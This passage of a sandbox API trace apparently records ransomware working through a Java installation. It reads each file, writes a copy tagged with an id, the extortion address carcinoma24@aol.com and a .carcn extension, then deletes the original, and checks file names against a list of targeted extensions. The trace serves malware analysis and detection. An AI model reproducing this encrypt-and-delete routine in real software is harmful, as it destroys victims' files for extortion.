nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xf60, lpOverlapped=0x0) returned 1 [0264.654] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0264.654] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xfc, lpOverlapped=0x0) returned 1 [0264.655] SetEndOfFile (hFile=0x530) returned 1 [0264.655] CloseHandle (hObject=0x530) returned 1 [0264.656] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0264.657] SetEndOfFile (hFile=0x55c) returned 1 [0264.660] CloseHandle (hObject=0x55c) returned 1 [0264.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.661] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0264.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.662] lstrlenW (lpString=".doc") returned 4 [0264.662] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".docx") returned 5 [0264.662] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0264.662] lstrlenW (lpString=".pdf") returned 4 [0264.662] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".xls") returned 4 [0264.662] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".xlsx") returned 5 [0264.662] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0264.662] lstrlenW (lpString=".ppt") returned 4 [0264.662] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.662] lstrlenW (lpString=".zip") returned 4 [0264.662] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".rar") returned 4 [0264.662] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".bz2") returned 4 [0264.662] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0264.662] lstrlenW (lpString=".7z") returned 3 [0264.662] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0264.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.662] lstrlenW (lpString=".dbf") returned 4 [0264.663] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.663] lstrlenW (lpString=".1cd") returned 4 [0264.663] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.663] lstrlenW (lpString=".jpg") returned 4 [0264.663] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.663] lstrlenW (lpString=".doc") returned 4 [0264.663] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString=".docx") returned 5 [0264.663] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0264.663] lstrlenW (lpString=".pdf") returned 4 [0264.663] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString=".xls") returned 4 [0264.663] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString=".xlsx") returned 5 [0264.663] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0264.663] lstrlenW (lpString=".ppt") returned 4 [0264.663] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0264.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.663] lstrlenW (lpString=".zip") returned 4 [0264.664] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0264.664] lstrlenW (lpString=".rar") returned 4 [0264.664] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0264.664] lstrlenW (lpString=".bz2") returned 4 [0264.664] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0264.664] lstrlenW (lpString=".7z") returned 3 [0264.664] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0264.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.664] lstrlenW (lpString=".dbf") returned 4 [0264.664] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0264.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.664] lstrlenW (lpString=".1cd") returned 4 [0264.664] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0264.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0264.664] lstrlenW (lpString=".jpg") returned 4 [0264.664] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0264.664] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0264.664] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0264.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.833] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=80856) returned 1 [0264.833] CloseHandle (hObject=0x538) returned 1 [0264.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0265.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0265.088] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.088] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.089] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0265.093] GetLastError () returned 0x0 [0265.093] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0265.095] WriteFile (in: hFile=0x53c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x13be0, lpOverlapped=0x0) returned 1 [0265.097] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0265.097] WriteFile (in: hFile=0x53c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x100, lpOverlapped=0x0) returned 1 [0265.097] SetEndOfFile (hFile=0x53c) returned 1 [0265.097] CloseHandle (hObject=0x53c) returned 1 [0265.100] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.100] SetEndOfFile (hFile=0x524) returned 1 [0265.103] CloseHandle (hObject=0x524) returned 1 [0265.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.104] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0265.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.104] lstrlenW (lpString=".doc") returned 4 [0265.105] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.105] lstrlenW (lpString=".docx") returned 5 [0265.105] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0265.105] lstrlenW (lpString=".pdf") returned 4 [0265.105] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.105] lstrlenW (lpString=".xls") returned 4 [0265.105] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.105] lstrlenW (lpString=".xlsx") returned 5 [0265.105] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0265.105] lstrlenW (lpString=".ppt") returned 4 [0265.105] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.105] lstrlenW (lpString=".zip") returned 4 [0265.105] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.105] lstrlenW (lpString=".rar") returned 4 [0265.105] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.105] lstrlenW (lpString=".bz2") returned 4 [0265.105] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.105] lstrlenW (lpString=".7z") returned 3 [0265.105] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.105] lstrlenW (lpString=".dbf") returned 4 [0265.106] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString=".1cd") returned 4 [0265.106] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString=".jpg") returned 4 [0265.106] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString=".doc") returned 4 [0265.106] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString=".docx") returned 5 [0265.106] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0265.106] lstrlenW (lpString=".pdf") returned 4 [0265.106] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString=".xls") returned 4 [0265.106] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.106] lstrlenW (lpString=".xlsx") returned 5 [0265.106] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0265.106] lstrlenW (lpString=".ppt") returned 4 [0265.106] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString=".zip") returned 4 [0265.106] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.106] lstrlenW (lpString=".rar") returned 4 [0265.106] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString=".bz2") returned 4 [0265.106] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString=".7z") returned 3 [0265.106] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.106] lstrlenW (lpString=".dbf") returned 4 [0265.106] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.107] lstrlenW (lpString=".1cd") returned 4 [0265.107] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0265.107] lstrlenW (lpString=".jpg") returned 4 [0265.107] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.107] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0265.107] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0265.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0265.107] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=698236) returned 1 [0265.107] CloseHandle (hObject=0x524) returned 1 [0265.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0265.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0265.108] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0265.109] GetLastError () returned 0x0 [0265.109] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0265.332] WriteFile (in: hFile=0x53c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xaa780, lpOverlapped=0x0) returned 1 [0265.565] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0265.565] WriteFile (in: hFile=0x53c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xfe, lpOverlapped=0x0) returned 1 [0265.565] SetEndOfFile (hFile=0x53c) returned 1 [0265.566] CloseHandle (hObject=0x53c) returned 1 [0265.582] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0265.582] SetEndOfFile (hFile=0x524) returned 1 [0265.667] CloseHandle (hObject=0x524) returned 1 [0265.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.668] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0265.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.669] lstrlenW (lpString=".doc") returned 4 [0265.669] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.669] lstrlenW (lpString=".docx") returned 5 [0265.669] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.669] lstrlenW (lpString=".pdf") returned 4 [0265.669] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.669] lstrlenW (lpString=".xls") returned 4 [0265.669] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.669] lstrlenW (lpString=".xlsx") returned 5 [0265.669] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.669] lstrlenW (lpString=".ppt") returned 4 [0265.669] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.669] lstrlenW (lpString=".zip") returned 4 [0265.669] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.669] lstrlenW (lpString=".rar") returned 4 [0265.669] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.669] lstrlenW (lpString=".bz2") returned 4 [0265.670] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString=".7z") returned 3 [0265.670] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.670] lstrlenW (lpString=".dbf") returned 4 [0265.670] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.670] lstrlenW (lpString=".1cd") returned 4 [0265.670] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.670] lstrlenW (lpString=".jpg") returned 4 [0265.670] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.670] lstrlenW (lpString=".doc") returned 4 [0265.670] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString=".docx") returned 5 [0265.670] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.670] lstrlenW (lpString=".pdf") returned 4 [0265.670] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.670] lstrlenW (lpString=".xls") returned 4 [0265.670] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.670] lstrlenW (lpString=".xlsx") returned 5 [0265.670] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.670] lstrlenW (lpString=".ppt") returned 4 [0265.670] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.671] lstrlenW (lpString=".zip") returned 4 [0265.671] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.671] lstrlenW (lpString=".rar") returned 4 [0265.671] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.671] lstrlenW (lpString=".bz2") returned 4 [0265.671] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.671] lstrlenW (lpString=".7z") returned 3 [0265.671] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.671] lstrlenW (lpString=".dbf") returned 4 [0265.671] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.671] lstrlenW (lpString=".1cd") returned 4 [0265.671] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0265.671] lstrlenW (lpString=".jpg") returned 4 [0265.671] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.671] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0265.671] lstrlenW (lpString="javaws.jar") returned 10 [0265.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0266.078] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=944167) returned 1 [0266.078] CloseHandle (hObject=0x55c) returned 1 [0266.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0266.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0266.079] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0266.079] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0266.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0266.080] GetLastError () returned 0x0 [0266.080] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xe6827, lpOverlapped=0x0) returned 1 [0266.232] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6830, lpOverlapped=0x0) returned 1 [0266.248] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0266.249] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe8, 